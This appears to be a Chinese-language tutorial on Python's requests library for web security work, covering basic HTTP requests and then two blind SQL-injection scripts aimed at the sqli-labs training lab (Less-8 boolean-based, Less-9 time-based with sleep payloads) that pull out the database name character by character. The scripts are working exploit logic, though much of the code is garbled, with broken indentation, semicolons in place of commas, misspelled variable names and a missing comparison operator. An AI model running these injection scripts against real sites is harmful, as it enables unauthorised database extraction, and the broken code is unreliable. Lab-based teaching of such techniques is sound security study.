以Web漏洞为主
基础知识:
requests模块
requests模块详解
requests是使用Apache2 licensed许可证的HTTP库。
用python编写。
比urllib2模块更简洁。
Request支特HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。
现代,国际化,友好。
requests会自动实现持久连接keep-alive。
基本语法
import requests
res = requests.get("your url");
//获取响应正文
res.text
//获取响应状态码
res.status_code
//获取响应编码
res.encoding
//以二进制方式获取响应正文
res.content
//获取响应头部
res.headers
//获取提交的url
res.url
//获取发送到服务器的头信息
res.request.headers
相关操作
定制头部
1、重新定义User-Agent
import requests
url="http://172.16.132.138/php/test.php"
header = {"User-Agent":"AJEST"}
res = requests.get(url=url;headers=header)
print(res.request.headers)
2、超时
import requests
url="http://172.16.132.138/php/test.php"
try:
res = requests.get(url=url;timeout=2)
print(res.text)
except Exception as e:
print("TimeOut!")
3、get传参
import requests
url = "http://10.10.10.131/cpde/PHP/test/get.php"
getPara = {"name":"AJEST","pwd":"123456"}
res = requests.get(url = url,params = getPara)
print(res.text)
print(res.url)
4、post传参
url = "http://10.10.10.131/cpde/PHP/test/post.php"
postData = {"name":"agest","pwd":"123456"}
res = requests.post(url = url,data = postData)
print(res.text)
5、上传文件
url = "http://172.16.132.138/php/upload/index.php"
upFile = {"up":open("info.php","rb")}
res = requests.post(url = url,files = upFile)
print(res.text)
6、重定向
url = "http://172.16.132.138/php/redirect/index.php"
res = requests.get(url = url)
print(res.text)
print(res.history)
res = requests.get(url =url,allow_redirects = False)
print(res.headers)
print(res.text)
7、cookie
url = "http://172.16.132.138/php/cookie/index.php"
coo = {"name":"ajest"}
res = requests.get(url = url,cookies = coo)
print(res.text)
HTTP协议中的两种发送请求的方法,本质上都是在进行TCP连接.
import requests
url = "http://10.10.10.131/sqli-labs-master/Less-8/"
normalHtmlLen = len (requests.get (url=url+"?id=1").text)
print ("The len of HTML: "+str (norma1HtmlLen))
dbNameLen = 0
while True:
dbNameLen_url = url+"?id=1'+and+length (database ()) ="+str (dbNameLen) +"--+"
print (dbNameLen_url)
if len (requests.get (dbName Len_url).text) == normalHtmlLen:
print ("The len of dbName: "+str (dbNameLen))
break
if dbNameLen == 30:
print ("Error!")
break
dbName Len +=1
dbName = ""
for i in range (1, 9) :
for a in string.ascii_lowercase:
dbName_url = url+"?id=1'+and+substr (database (), "+str (i) +", 1) =' "+a+"'--+"
print (dbName_url)
if len (requests.get(dbName_url). text)normalHtmlLen:
dbName += a
print (dbName)
break
import requests
import string
url = "http://10.10.10.131/sqli-labs-master/Less-9/"
def timeOut (url) :
try:
res = requests.get (url, timeout=3)
return res.text
except Exception as e:
return "timeout"
dbNameLen = 0
while True:
dbNameLen +=1
dbNameLenUrl = url+"?id=1'+and+if (length (database ()) ="+str (dbNameLen) +", sleep (5) , 1) --+"
#print (dbNameLenUrl)
if "timeout" in timeOut (dbNameLenUrl):
print ("The Len of dbName: "+str (dbNameLen)) break
if dbNameLen == 30:
print ("Error!")
break
dbName = ""
for i in range (1, dbNameLen+1) :
for char in string. ascii_lowercase:
dbNameUrl = url+"?id=1'+and+if (substr (database (), "+str (i) +", 1) =' "+char+"', sleep (5) , 1) --+"
print (dbNameUrl)
if "timeout" in timeOut (dbNameUrl) :
dbName +=char
print ("The dbName:"+dbName)
break